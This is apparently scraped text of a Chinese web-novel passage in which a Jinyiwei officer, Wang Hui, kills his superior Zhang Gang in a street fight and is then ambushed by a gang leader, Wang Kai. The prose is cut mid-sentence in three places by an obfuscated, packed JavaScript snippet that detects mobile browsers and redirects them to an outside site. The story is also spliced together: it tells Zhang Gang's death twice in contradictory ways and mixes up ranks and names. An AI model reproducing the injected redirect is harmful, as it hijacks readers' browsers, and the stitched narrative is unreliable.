陈飞死死咬住牙关,牙龈几乎要渗出血来。到了这一步,他已然确定,今晚的行动计划早已泄露!这张刚处心积虑,就是要借清水帮这把刀,除掉王辉大人! “兄弟们!”陈飞猛地举起钢刀,声嘶力竭地大吼道,“张刚勾结匪帮,背叛锦衣卫,残害同僚,其心可诛,其罪当诛九族!随我冲杀进去,救援王大人!王大人是在执行百户大人的铁令!拦路者,杀无赦!” 他再次抬出百户唐浩的名头,果然让身后那些原本有些犹豫不决的锦衣卫们骚动起来。相比得罪总旗张刚,显然违背百户命令的后果更为可怕。 然而,就在陈飞准备带头冲锋之际, 他身后的锦衣卫队列中,竟有十余人相互对视一眼,默不作声地收刀入鞘,低着头,快速走出队伍,朝着张刚的方向跑了过去。 “我等谨遵张总旗之令!”那十余人跑到张刚面前,齐齐拱手行礼,“即刻返回百户所!” 看到这一幕,陈飞的心瞬间沉到了谷底。这些人,毫无疑问是张刚早已安插进来的钉子,平时传递消息,关键时刻则倒戈一击,严重动摇军心! 张刚脸上露出得意的冷笑,大手一挥,厉声道:“锦衣卫听令!校尉陈飞,煽动哗变,抗命不尊,意图不轨!给我拿下!” 陈飞目眦欲裂,紧紧握住刀柄,体内微薄的内力开始运转,就准备拼死一战,杀出一条血路去救援王辉。 就在这千钧一发之际, 一个平淡却冰冷彻骨的声音,仿佛贴着每个人的耳朵根,从街道另一端的黑暗深处缓缓传来: “张总旗,真是好大的官威啊!连百户大人的手令都敢视若无睹,调动私兵阻拦公务……你这是已经做好准备,要造反了吗?” 这个声音一出,张刚浑身猛地一颤,脸上那志在必得的笑容瞬间僵住,取而代之的是极度的震惊与难以置信。他猛地转头望向声音来源处,失声惊叫:“王辉?!你……你怎么会在这里?!你不是应该……” 只见王辉的身影缓缓从阴影中踱步而出,手中倒拖着一柄造型古朴的横刀,刀尖与长街的石板摩擦,划出一连串细碎的火星和令人牙酸的“刺啦”声。 他抬起头,冰冷的目光如同两把利剑,直刺张刚:“老东西,你以为你在我身边埋了几颗棋子,我会不知道?你收到的每一个关于我行踪的消息,有多少是我故意让你知道的?” 张刚瞳孔骤缩,脑中瞬间闪过一个可怕的念头,脸色“唰”地一下变得惨白:“你……你早就知道有人向我通风报信?那你今晚……你根本没进长宁坊?!你今晚的目标……从一开始就不是邢宽,而是我?!” 王辉嘴角勾起一抹残酷的弧度:“既然早就跟你这老狐狸撕破了脸,我怎么可能不防着你这手?不把你引出来,怎么把你和你这些吃里扒外的党羽,一网打尽?” 他猛地停下脚步,横刀一顿,刀尖铿然插入石板缝隙。他目光如电,扫过全场,声音陡然提高,如同惊雷般炸响在每一个锦衣卫的耳边: “锦衣卫全体听令!总旗张刚,勾结清水帮,密谋陷害同僚,罪证确凿,其罪当诛!即刻将其拿下!谁敢阻拦,以同谋论处!若敢反抗,格杀勿论!” “遵命!”陈飞激动得几乎要吼出来,率先响应。 那些原本因张刚出现而动摇的锦衣卫,在看到王辉安然无恙现身、并下达如此明确的命令后,顿时如同有了主心骨,再无犹豫,纷纷怒吼着持刀向前,迅速对张刚及其党羽形成了反包围之势。 王辉冰冷的目光又投向张刚身边那四十来个锦衣卫,声音如同带着冰碴:“尔等还要执迷不悟,跟着这叛徒一条道走到黑吗?现在放下兵器,迷途知返,本官以名誉担保,必向百户大人陈情,对你们从轻发落!若还敢负隅顽抗,便是谋逆大罪,株连三族,到时悔之晚矣!” 张刚闻言大急,慌忙喊道:“别听他胡说!他在诈你们!百户手令岂是……” 他的话还没说完,王辉已经猛地从怀中掏出一卷帛书,刷地一声展开,将那盖有鲜红百户大印的手令高高举起:“百户大人手令在此!见此手令如见百户!尔等还要跟着张刚造反吗?!” 那鲜红的大印和熟悉的笔迹,在火把和微弱的月光下,拥有着无可置疑的权威。 当手令亮出的瞬间, 张刚身旁那些本就被王辉的话动摇、又见大势已去的锦衣卫,再也绷不住了。人群中一阵骚动,当即就有近二十人慌忙丢下手中兵器,低着头快速退开到一旁,跪倒在地,高呼:“我等愿遵王大人之令!” 霎时间,张刚身边只剩下了二十来个脸色惨白、浑身发抖的绝对心腹。 而对面,是以王辉、陈飞为首,人数超过六十、杀气腾腾的锦衣卫大队! “拿下!”王辉毫不废话,直接下令。 七八十名锦衣卫如同潮水般向着张刚那二十余人围扑过去。 “王辉!!” 眼看大势已去,生死关头,张刚再也顾不得颜面,运足内力,声音凄厉地大声喊道:“我认栽!我认罪!我自愿交出所有权力,回去之后便向百户大人请辞,并全力举荐你接任总旗之位!凡事留一线,日后好相见!你还年轻,前途无量,为一时意气擅杀上官,这会成为你一辈子洗刷不掉的污点,影响你的仕途!不值得!我已经输了,对你再无威胁了!” 他的话语充满了急切与诱惑,试图抓住最后一根救命稻草。 王辉拖着那柄沉重的横刀,一步步走向被围在核心、色厉内荏的张刚。他的脚步声在寂静的长街上格外清晰,仿佛踩在每个人的心跳上。 他缓缓点了点头,脸上似乎露出了一丝认同的表情,开口说道:“嗯,张总旗,你说得……似乎很有道理。杀上官,不论出于何种原因,传出去总归对名声不好,确实可能影响仕途,所以……” 他的话音未落, 异变陡生! 所以的“以”字还在空气中回荡,王辉那看似放松的身体骤然紧绷!腰腹部瞬间爆发出恐怖的力量,身体如同一张拉满的强弓,猛地拧转!脚下石板“咔嚓”一声碎裂!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513469|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手中那柄一直拖着的横刀,发出一声震人心魄的嗡鸣,裹挟着全身澎湃的内力,化作一道撕裂夜幕的银色闪电,以最简单、最暴力、最直接的力劈华山之势,朝着张刚的头顶悍然劈下! “所以——你还是去死吧!!!” 随着王辉这一声如同虎啸山林般的怒吼炸响, 全场皆惊! 谁也没想到,王辉竟然会在对方已经服软认输的情况下,依旧毫无征兆地暴起杀人! 张刚更是骇得魂飞魄散!他完全没想到王辉如此狠绝,连表面功夫都不做,杀心如此之重!他终究是多年养尊处优,虽然有着三品武者的底子,但气血早已衰败,反应速度远不及当年。 生死关头,他只能凭借本能,惊惶地向后暴退,同时手忙脚乱地抬起手中铁胆试图格挡。 “铛!” 一声刺耳至极的金铁交鸣之声爆响! 火星四溅! 那精铁打造的铁胆竟被王辉这蓄谋已久、倾尽全力的一刀直接劈得四分五裂! 刀势仅是微微一滞,依旧带着摧枯拉朽的可怕力量,继续向下! “噗嗤!” 血光迸现! 张刚发出一声凄厉无比的惨叫,胸膛至腹部被划开一道深可见骨的恐怖伤口,鲜血如同喷泉般汹涌而出,将他身上的飞鱼服染得一片猩红。他踉跄着向后倒退,脸上充满了痛苦、震惊和难以置信。 “你……你敢……”他指着王辉,口中溢出鲜血,话都说不完整。 “我有何不敢?”王辉一击得手,毫不停留,脚步一错,身随刀走,再次逼上。刀光如匹练,卷起重重寒芒,将张刚彻底笼罩。 张刚强忍剧痛,嘶吼着拔出自己的佩刀拼命格挡。他毕竟是三品武者,濒死反扑之下,刀法依旧显得老辣狠戾,招招直奔王辉要害,试图以伤换命。 “铛铛铛铛!” 长街之上,刀光纵横,劲气四射!两人以快打快,瞬间便交手十余招。金铁交击之声如同爆豆般密集响起,刺耳的摩擦声和四溅的火星,让周围所有锦衣卫都看得心惊肉跳,不由自主地向外退开,空出一大片场地。 陈飞等人紧握刀柄,紧张地注视着战局,随时准备上前帮忙,但他们也看出,王辉似乎有意亲手了结这段恩怨。 张刚的刀法沉稳凶悍,经验丰富,往往能在间不容发之际挡住王辉的致命攻击。但正如王辉所料,他年老体衰,气血不足,刚才那一下重创更是雪上加霜。每一次兵刃碰撞,他都浑身剧震,伤口鲜血狂涌,动作以肉眼可见的速度变得迟缓,呼吸也越来越粗重。 反观王辉,刀法凌厉霸道,气势如虹,体内内力虽然未必比张刚巅峰时雄厚,但却无比凝练,且愈战愈勇!他的刀招并不繁复,却快、准、狠!每一刀都蕴含着爆炸性的力量,逼得张刚不断后退,只有招架之功,毫无还手之力。 “死!” 王辉看准一个破绽,眼中寒光爆射,猛地一个侧身滑步,避开张刚劈向脖颈的一刀,手中横刀自下而上,一记阴险刁钻的上撩,直取张刚因挥刀而露出的腋下空门! 张刚吓得亡魂皆冒,拼命回刀格挡。 “铛!” 又是一声大响,张刚被震得手臂发麻,门户大开。 王辉得势不饶人,刀势瞬间一变,化撩为斩,横削而出!这一刀,快如闪电,狠辣无比! “噗!” 血光再次闪现! 张刚持刀的右臂齐肩而断,带着一蓬温热的鲜血飞向空中! “啊——!”张刚发出了撕心裂肺的惨叫,身体因剧痛而剧烈抽搐,踉跄着向后倒去。 王辉眼神冰冷如万载寒冰,没有丝毫的怜悯和犹豫。他一步踏前,追上张刚倒退的身体,手中横刀带着一往无前的决绝,如同死神的叹息,精准地刺入了张刚的心口! “呃……” 张刚所有的动作瞬间停滞,身体猛地一僵。他低头,难以置信地看着穿透自己心脏的刀锋,又缓缓抬起头,死死地盯着王辉,眼中充满了无尽的怨毒、恐惧和一丝悔恨。 王辉手腕猛地一拧,然后狠狠抽出横刀。 鲜血如同瀑布般从张刚胸前背后的创口喷涌而出。 这位在南城百户所东院经营多年、权势煊赫的总旗官,眼睛瞪得滚圆,身体软软地向后倒去,“砰”的一声重重砸在冰冷的长街石板上,溅起几点血花和尘土,抽搐了起来。 长街之上,一片死寂。 只有寒风吹过街面,卷起血腥味的呜咽声。 所有锦衣卫,无论是王辉的手下,还是张刚那些心腹,全都屏住了呼吸,目光敬畏地看着那个持刀而立、衣袂染血的年轻身影。 · 18. 断剑谋局 长宁坊西首的“望江楼”里,松木梁柱浸着十年陈酒的醇香,三楼临窗的雅间外,挂着两盏猩红的纱灯,风一吹便晃出暖融融的光,却照不进雅间里那几分沉凝的气氛。 雅间内,四个身着玄色短打的江湖汉子围坐在方桌旁,腰间的环首砍刀用熟牛皮缠了柄,刀鞘上还沾着些未擦净的泥点——一看便是刚从城外庄子赶回来的。他们手里捧着粗瓷酒杯,却没几人敢真的饮下,目光时不时飘向窗边那个青衫男子,眼神里掺着敬畏与好奇。 那青衫男子便是清水帮四大舵主之一的王凯。他背对着众人站在窗前,手里捏着一枚温润的白玉扳指,指腹反复摩挲着扳指上浅刻的云纹。可王凯的眼神却冷得像深冬的井水,仿佛窗外的灯红酒绿都与他隔着一层无形的屏障。 他身上的青衫是蜀地织的锦缎,针脚细密,领口却微微泛白——显然是穿了有些年头,却依旧打理得一丝不苟。腰间悬着一柄长剑,剑鞘是普通的黑檀木,没有任何雕花,唯有剑柄处缠着的深蓝色剑穗,在风里轻轻晃着。最奇的是那剑鞘的长度,比寻常长剑短了三寸,明眼人一看便知,里面藏的是柄断剑。 “舵主,楼下的弟兄来报,张刚的人已经过了望春桥了。”坐在最外侧的汉子终于忍不住开口,声音压得极低,像是怕惊扰了什么。 王凯没有回头,只是轻轻“嗯”了一声,扳指依旧在指尖转着:“王辉呢?” “王大人的队伍走的是东市街,按脚程,该和张刚在西市老街遇上了。”汉子连忙回道,语气里多了几分小心翼翼。 周围几人都没再说话。他们跟着王凯多年,知道这位“断剑书生”的性子——越是平静,心里的谋算便越深。当年王凯刚入清水帮时,还是个捧着兵法的幕僚,帮主见他手无缚鸡之力,却能在帮派内乱时算出对手的退路,硬生生帮着稳住了局面。后来帮主力排众议,让他当舵主,不少分舵的人都等着看笑话,说一个拿笔杆子的书生,怎么管得住一群拿刀混江湖的汉子。 可谁也没想到,王凯第二天就提着柄断剑上了街。那剑是他年轻时与人比剑断的,一直藏在书房里,那天却成了他立威的利器。城西的“黑虎堂”不服他,堂主带着三个六品高手堵在他府门前,结果王凯只用了三招——第一招挑飞堂主的刀,第二招断了对方的手腕,第三招用断剑的剑尖抵住了堂主的咽喉。从那以后,再没人敢说他是“只会读书的书生”。 后来他更是用了半年时间,收服了都江城外七个小帮派,把自己的地盘从城南一隅扩到了城西半片,成了四大舵主里地盘最大的一个。真正让“断剑书生”名号响彻都江城的,是三年前那场硬仗——当时三个与清水帮有世仇的帮派联手,派了三个四品高手来寻仇,王凯一个人提着断剑去了对方的总坛,从清晨打到日落,最后拖着满身伤,把三个四品高手的头颅挂在了总坛门口。那天之后,都江城的江湖人都知道,清水帮有个王凯,看着像私塾先生,出手却比阎王还狠。 “爹。”一阵沉稳的脚步声从楼梯口传来,打断了众人的思绪。只见一个身着月白长衫的青年走了进来,腰间同样悬着剑,只是剑鞘是崭新的梨花木,一看便知是精心打造的。青年面容俊朗,眉眼间与王凯有七分相似,只是眼神里多了几分年轻人的锐气——他便是王凯的儿子,也是他精心培养的继承人王斌。 王斌走到王凯身后,双手拢在袖中,微微躬身:“张刚与王辉已经在西市老街打起来了。” 王凯终于转过身,嘴角勾起一抹极淡的笑,语气却带着不容置疑的笃定:“张刚输了吧?” 王斌点头,眼底闪过一丝疑惑:“张刚带来的人都是心腹,可王辉那边人手更多,而且王辉出手极狠,张刚的左膀右臂已经折了两个,他自己也被王辉砍了一刀,赢面的确不大。” “老而不自知,合该有此一难。”王凯走到桌旁,拿起酒壶给自己倒了杯酒,琥珀色的酒液在杯里晃了晃,他却没喝,只是盯着酒杯里的倒影,“张刚这老东西,以为拿了我那点‘罪证’,就能拿捏住我,还想着借王辉的手削弱我,最后坐收渔利——真是越活越回去了。” 坐在桌旁的一个汉子忍不住问道:“舵主,咱们之前不是和张刚说好,联手杀王辉吗?现在他落了下风,咱们要不要……” “帮忙?”王凯嗤笑一声,将酒杯放在桌上,声音里满是不屑,“帮张刚?他也配?” 王斌皱眉,语气里带着几分不解:“爹,您之前答应与他合作,不就是为了除掉王辉吗?现在王辉和张刚火拼,正是咱们出手的好时机。” “是要杀王辉,但不是和张刚合作。”王凯走到王斌面前,伸手拍了拍他的肩膀,语气放缓了些,像是在教他做事,“你以为我必杀王辉,是因为他屡次针对咱们清水帮?错了。王辉只是百户唐浩推出来的一把刀——唐浩想借王辉打破都江城的格局,把水搅浑,让官府没法再盯着锦衣卫,等王辉把张刚这些老派势力扫清了,他下一步就会对咱们清水帮动手。” 他顿了顿,眼神又冷了下来:“我要砍断这把刀,但这刀太锋利,一不留神就会伤了自己。张刚以为他拿到的罪证是自己查来的,却不知道,那都是我故意漏给他的——我就是要让他以为自己占了上风,主动去找王辉拼命。” 王斌恍然大悟:“您是想让他们两败俱伤,最后咱们再出手,把这件事变成锦衣卫内部的火并,让唐浩抓不到咱们的把柄?” “不错。”王凯点头,拿起桌上的断剑,轻轻拔出寸许,剑刃虽断,却依旧泛着冷冽的寒光,“今夜,王辉和张刚,必须死。等他们拼得差不多了,咱们就收网——让他们同归于尽。” “可爹,您怎么确定王辉不会中计?要是他没按张刚的算计去西市老街,反而绕去了咱们的据点怎么办?”王斌还是有些担心,毕竟王辉这段时间在都江城的动作,实在让人不敢小觑——杀曹峰时用了调虎离山,除刘宏时设了连环计,就连架空张刚,也是步步为营,半点不含糊。 王凯闻言,脸上露出一丝赞许:“你能想到这一点,说明没白跟我学。记住,对付任何敌人,都不能轻敌,而且一定要把对手研究透。”他走到窗边,望着远处西市方向隐约传来的喊杀声,“王辉看似莽撞,实则心思缜密。你看他这段时间做的事,哪一件不是有章法的?杀曹峰是为了立威,除刘虎是为了夺权,架空张刚是为了掌控锦衣卫的人手——他每一步都踩着点走,比张刚这老东西清醒多了。” “张刚以为自己是猎手,想把王辉当猎物,可在王辉眼里,他才是那个待宰的羔羊。”王凯的声音里多了几分感慨,“王辉要做唐浩的刀,就必须除掉张刚这个绊脚石,这是必然的。张刚老了,心思都放在了保命和捞钱上,早就没了年轻时的狠劲,怎么可能是王辉的对手?” 王斌听着,脸上露出笑容:“还是爹您看得透彻,他们俩不管怎么打,最后都在您的算计里。” 王凯却轻轻叹了口气,拿起桌上的酒,终于抿了一口:“可惜了王辉这孩子。他年纪轻轻,有勇有谋,要是给他几年时间,说不定能在都江城闯出更大的名头。可惜啊,他站错了队,还成了唐浩的刀——要是他不是锦衣卫,我倒真想收他当徒弟。” 说罢,他放下酒杯,眼神重新变得锐利:“时间差不多了,你去通知楼下的弟兄,准备收网。记住,按之前定的计划来,不要多带人手,也不要提前暴露。” 王斌拱手应道:“是,爹。” 他顿了顿,伸手按在腰间的断剑上,声音里带着一股令人安心的力量:“不过也无妨。王辉和张刚火拼之后,实力必然十不存一,他手下那两个四品高手,撑死了也只剩半条命。这次,我亲自出手。” 听到“亲自出手”四个字,雅间里的几个汉子瞬间挺直了腰板,眼神里满是兴奋——他们跟着王凯多年,最清楚这位“断剑书生”出手的威力,只要王凯亲自下场,就没有拿不下的对手。王斌也松了口气,脸上的担忧一扫而空:王辉虽然异军突起,但终究年轻,底蕴不足,又被爹一步步算计着,这次必死无疑。 王凯看着众人的反应,没再多说,只是朝着王斌摆了摆手:“去吧,别耽误了时辰。” 王斌应声离开,雅间里又恢复了平静。王凯走到窗前,望着西市方向越来越近的喊杀声,手指再次摩挲起腰间的断剑,眼底闪过一丝冷光——都江城的天,也该变变了。 西市老街的青石板路上,寒风卷着落叶呼啸而过,把街边灯笼的光吹得忽明忽暗。原本热闹的街道此刻空无一人,只有满地的碎瓷片和翻倒的货郎担,昭示着这里刚刚经历过一场混乱。 “噗通!” 一声沉重的闷响打破了短暂的寂静。张刚像个破麻袋一样摔在青石板上,胸口的锦衣被鲜血染透,一道深可见骨的伤口从左肩划到右肋,鲜血顺着伤口汩汩流出,在地上漫开一片暗红。他疼得浑身抽搐,右手颤抖着伸到伤口处,指尖飞快地点向胸口的几处穴位——那是他年轻时学的保命功夫,寻常刀伤只要点中穴位,便能暂时止血。 可这次,王辉的刀太狠了。那一刀不仅砍破了他的皮肉,还斩断了他两根肋骨,锋利的刀刃甚至擦着内脏而过。穴位虽然点中了,可伤口里的血还是止不住地往外渗,很快就把他的手染红了。 “张大人!” “大人,您怎么样?” 几道焦急的呼喊声从旁边传来。张刚的几个心腹从街角冲了出来,他们身上都带着伤,有的胳膊被砍伤,有的腿上插着箭,可还是拼尽全力跑到张刚身边。其中一个满脸虬髯的汉子,手里提着一柄朴刀,看到张刚的惨状,眼睛瞬间红了,朝着王辉的方向怒吼一声:“王辉!我杀了你!” 说罢,他提着朴刀就朝着王辉冲了过去。那汉子是张刚手下的得力干将,名叫赵虎,是个六品高手,一手朴刀使得虎虎生风,在都江城的江湖里也有些名号。 王辉站在不远处,手里的横刀还在滴着血,刀刃上的寒光在灯笼下晃得人睁不开眼。他看着冲过来的赵虎,眼神没有丝毫波动,只是缓缓握紧了刀柄。 “还愣着干什么?杀!”王辉突然大吼一声,声音里带着一股慑人的气势。 原本还在错愕的陈飞等锦衣卫,瞬间反应过来。他们都是王辉一手提拔起来的,早就把王辉当成了主心骨。听到王辉的命令,众人纷纷拔出腰间的佩刀,朝着张刚的手下围杀过去。 “噗嗤!” 赵虎的朴刀刚挥到王辉面前,就被王辉侧身避开。王辉手腕一翻,横刀顺着朴刀的刀刃滑了过去,精准地砍中了赵虎的手腕。一声惨叫响起,赵虎的朴刀掉在地上,手腕上的鲜血喷溅而出。王辉没有停顿,反手一刀,刀刃直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噗嗤!”横刀砍中了那身影的胸口。王辉定眼一看,原来是张刚的另一个心腹,名叫王忠。王忠看着王辉,嘴角溢出鲜血,声音断断续续:“王大人……张大人待我们不薄……我们不能……看着他死……” 说完,王忠便倒了下去,眼睛还睁着,像是在盯着王辉。 【经验值+15】 王辉没有停留,继续朝着张刚的方向冲去。他知道,只要杀了张刚,这场战斗就结束了。张刚的手下虽然忠诚,但没了主心骨,很快就会溃散。 此刻,张刚已经被几个心腹护在了中间。那几个心腹都是张刚最信任的人,手里拿着刀,眼神里满是决绝,像是要和王辉拼命。可他们身上都带着伤,气息也越来越弱,显然已经撑不了多久了。 “王辉……你别过来!”一个心腹朝着王辉吼道,声音里带着恐惧,却还是硬着头皮挥刀冲了过来。 王辉没有说话,只是挥刀迎了上去。刀刃碰撞的声音在街道上响起,伴随着惨叫声和鲜血滴落的声音。很快,那几个心腹就倒在了地上,只剩下张刚一个人倚靠在街边的石墙上,脸色惨白,眼神里满是恐惧。 他年轻时也是个狠角色,当年跟着王辉的父亲在战场上拼杀,面对千军万马也没怕过。可这些年在都江城待久了,他当了锦衣卫的百户,手里有了权,腰包里有了钱,便渐渐没了当年的狠劲。他开始怕死,开始算计,开始想着怎么保住自己的地位和财富——可到头来,还是逃不过一死。 王辉提着横刀,一步步朝着张刚走近。灯笼的光照在他的脸上,一半在明,一半在暗,眼神里没有丝毫温度,像极了索命的阎王。 “王辉……王辉!”张刚突然开口,声音里满是惊慌,“我和你父亲是同僚!我们当年一起在战场上杀过敌,一起喝过酒!你小时候我还抱过你!你忘了吗?你不能杀我!” 王辉脚步没有停顿,依旧朝着他走近。 “我有钱!我有很多钱!”张刚见求情没用,又开始用钱财诱惑,“我在城外有三座庄子,还有两个银号,里面的钱足够你花几辈子!我把钱都给你,你放我一条生路,好不好?” 王辉终于走到了张刚面前,停下脚步。他看着张刚那张满是惊恐的脸,想起父亲生前说过的话——“张刚这人心术不正,你以后离他远些”。父亲被害,虽然没有直接证据证明是张刚干的,但王辉心里清楚,张刚绝对脱不了干系。 “你父亲的死,和我没关系!真的没关系!”张刚像是看穿了王辉的心思,急忙辩解,眼泪和鼻涕一起流了下来。 王辉没有说话,只是缓缓举起了手里的横刀。 张刚看着那把闪着寒光的刀,知道自己必死无疑。他突然像是疯了一样,朝着王辉扑过去,嘴里嘶吼着:“我死也要拉你垫背!” 可他刚扑到一半,就被王辉一刀砍中了喉咙。 “噗嗤!” 鲜血喷溅而出,溅到了王辉的脸上。张刚的身体顿了顿,然后颓然倒在地上,眼睛睁得大大的,里面满是惊恐和不甘。 王辉站在原地,看着张刚的尸体,脸上没有任何表情。他抬手擦了擦脸上的鲜血,然后朝着周围的锦衣卫喊道:“清理战场! 他知道,王凯还在等着收网。可他不知道的是,王凯的算计,远比他想象的更狠——这场战斗,从来都不是结束,而是开始。 19. 寒夜喋血 【经验值+300】 冰冷的系统提示音在王辉脑海中响起,仿佛为这场血腥的厮杀画上了一个短暂的休止符。 长街上,寒风卷着浓烈的血腥味呼啸而过,吹动着众人染血的衣袂。一场内部清洗的大战终于平息,留下的是一片狼藉和二十多具逐渐冰冷的尸体。 锦衣卫们开始沉默地清理战场。虽然此战最终获胜,但赢的并不轻松。张刚那些心腹死士在绝境中的反扑异常凶猛,给王辉一方造成了相当大的损失。地上躺着的人中,也有不少是原本并肩作战的兄弟,伤亡颇为惨重。 然而,对王辉而言, 这无疑是一场决定性的胜利。 今夜过后,他在南城百户所东院的地位将彻底稳固,无人再能撼动。更重要的是,脑海中那丰厚的经验值收获,将为他通往更强之路奠定基石。 正当他准备凝神查看系统界面时,陈飞走了过来。他看着地上张刚那具死不瞑目的尸体,神情复杂地叹了口气。毕竟共事多年,眼见昔日上司落得如此下场,心中不免唏嘘。 “大人,”陈飞犹豫了一下,还是开口道:“其实……您本不必亲自动手杀张总旗的。他勾结清水帮、谋害同僚的罪证确凿,押送回去同样难逃一死。您亲手杀他,毕竟是以下犯上,传出去对您的名声不利,日后恐怕会影响您的仕途升迁……” 王辉摆了摆手,打断了他的话,声音冷冽如这冬夜的寒风:“陈校尉,你以为在这世道,什么才能真正决定一个人的仕途?” 陈飞一怔:“属下愚钝……” “实力!”王辉斩钉截铁,目光锐利如刀,“唯有自身的实力!权力、地位、名声,所有的一切都建立在实力的基础之上。没有实力,一切都是空中楼阁。有了足够的实力,今天我是以下犯上,明天……我就是清理门户,整肃纲纪!” 他的话语带着一种不容置疑的坚定,让陈飞一时无言。 说罢,王辉不再多言,招手道:“收队。” 幸存下来的锦衣卫们开始行动,有的抬着同僚的遗体,有的搀扶着受伤的伙伴,队伍沉默而压抑地开始集结,准备离开这片血腥之地。 王辉也终于得空将心神沉入脑海中的系统界面。 【当前经验值:854】 看着这个数字,他心中微微一动。这笔丰厚的经验值,足以让他的实力再上一个台阶。 然而, 就在此时, 异变陡生! 呼啸的寒风中,除了浓得化不开的血腥味,渐渐掺杂进了一种别样的声音——那是驳杂而密集的脚步声,靴底踩过浅洼血泊发出的“啪嗒”声,以及金属缓慢摩擦、利刃缓缓出鞘的令人牙酸的“噌噌”声。 霎时间,风声仿佛变得更加急促凄厉,空气中的寒意也骤然加剧,一种无形的肃杀之气如同潮水般从四面八方涌来,将整条长街牢牢锁住。 正准备撤离的一众锦衣卫瞬间浑身紧绷,刚刚放松的神经再次高度警惕起来,所有人几乎本能地握紧了手中的兵刃,下意识地向内收缩,组成防御阵型。 脚步声越来越清晰,越来越密集。 来自四面八方! 下一个刹那,在长街两端以及两侧幽深的巷道阴影中,一道道身影如同鬼魅般无声地涌现。这些人皆身着劲装,手持各式兵刃,面色冷肃,眼神凶悍,赫然都是江湖人士。粗略看去,竟有近百人之多! 他们沉默地向前逼近,步伐整齐划一,显然训练有素,绝非寻常的乌合之众。转眼间,便将王辉及其麾下残存的二十余名锦衣卫团团围困在长街中央。 气氛瞬间压抑到了极点,仿佛暴风雨前的死寂,令人窒息。 王辉的眉头紧紧皱起,缓缓将刚刚归鞘的横刀再次取下,握在手中。刀柄上传来的冰冷触感,让他纷乱的心绪稍稍安定。 剩余的锦衣卫们无需命令,迅速将伤员护在最中间,其余能战者则三人一组、五人一队,迅速组成了锦衣卫特有的小型战阵。这些战阵攻防一体,能在混战中最大限度地发挥战斗力。但即便如此,面对数倍于己、且显然有备而来的敌人,每个人的心头都笼罩着一层厚厚的阴霾。 所有人都明白,既然对方敢如此明目张胆地围堵乃至围杀锦衣卫,必然是做好了斩草除根、不留活口的打算。否则,聚众袭杀朝廷锦衣卫,这份滔天罪名,临江府没有任何一个帮派能够承担得起。 “王大人,久仰大名了!” 一个温和的声音打破了令人窒息的沉默。 黑压压的人群如同潮水般向两侧分开,一个青衫男子缓步走出,脸上带着一丝若有若无的笑意,正是方才在运筹帷幄的清水帮舵主,王凯。 他来到阵前,竟还颇为谦逊地对着王辉拱了拱手,语气平和地说道:“王大人,观你行事风格,杀伐果断,胆识过人,实乃天生的江湖豪杰。困于这锦衣卫的条条框框,未免有些屈才了。不知……有没有兴趣改换门庭,来我清水帮发展?王某必当扫榻相迎。” 王辉微微眯起眼睛,打量着这位名震都江城的“断剑书生”,嘴角勾起一抹冷峭的弧度:“请我去?好啊,不知王舵主打算让出哪个位置?是让我去做帮主吗?” 王凯闻言明显愣了一下,随即失笑道:“帮主之位,王某可做不了主。不过,在下这舵主的位置,倒是可以拱手相让!” 王辉脸上的笑容更盛,仿佛真的颇感兴趣:“哦?舵主之位?听起来不错。既然如此有诚意,那咱们不如现在就找个地方,焚香祭告天地,把这事情定下来如何?” 王凯脸上的笑容微微一僵,他显然没料到王辉会如此回应,沉默了好一会儿,才摇头轻笑道:“王大人还真是……风趣幽默。只可惜啊,造化弄人。今日王某前来,并非邀您入伙,而是……不得不请王大人上路了。” “王凯!你敢袭杀锦衣卫?这可是诛灭三族的大罪!”一名受伤的锦衣卫小旗强撑着怒喝道。 王凯轻笑一声,语气依旧平淡,却带着令人心寒的漠然:“诸位死在这里,与我清水帮王凯有何干系?明日都江府只会传出消息,锦衣卫东院总旗张刚与下属小旗王辉因私怨当街火并,双方麾下人马亦卷入其中,最终……两败俱伤,同归于尽。仅此而已。” 王辉的心彻底沉了下去。 他瞬间明白了所有关窍。 张刚那个老狐狸,自作聪明地与虎谋皮,以为能借助清水帮的力量除掉自己。殊不知,这王凯从一开始就没打算真与他合作。王凯要做的,就是冷眼旁观,等待自己和张刚拼个你死我活、两败俱伤之后,再出来收拾残局,将所有人一网打尽! 最后,将所有罪责都推给“锦衣卫内讧”。以清水帮在临江府的势力和盘根错节的关系网,再加上府衙中必然有人愿意息事宁人,这件事极有可能就这样被掩盖下去。 张刚,从头到尾都是在自寻死路,还差点把自己也拖入万劫不复之地。 而这个初次见面的王凯,其心思之深沉、算计之狠辣,远超想象。 果然,盛名之下无虚士!“断剑书生”,绝非浪得虚名。 就在这时, 王凯突然冷哼一声,目光如电般扫向锦衣卫队伍中一人。只见他反手从怀中取出一本薄册,手腕猛地一抖。那本书册竟如同飞刀般激射而出,瞬间划破夜色,“啪”地一声精准地击中一名正悄悄将手摸向腰间信号筒的锦衣卫手腕。 “哐当”一声,一支信号筒掉落在地。 王凯轻轻叹了口气,语气中带着一丝惋惜:“这就没意思了啊。说实话,就算让你们发出信号,百户所那边也来不及救援。何必多此一举,徒增痛苦呢?” 王辉深吸一口气,压下心中的悸动,脸上再次挤出笑容,说道:“王舵主,其实,我是真的想加入贵帮的。咱们何必打打杀杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 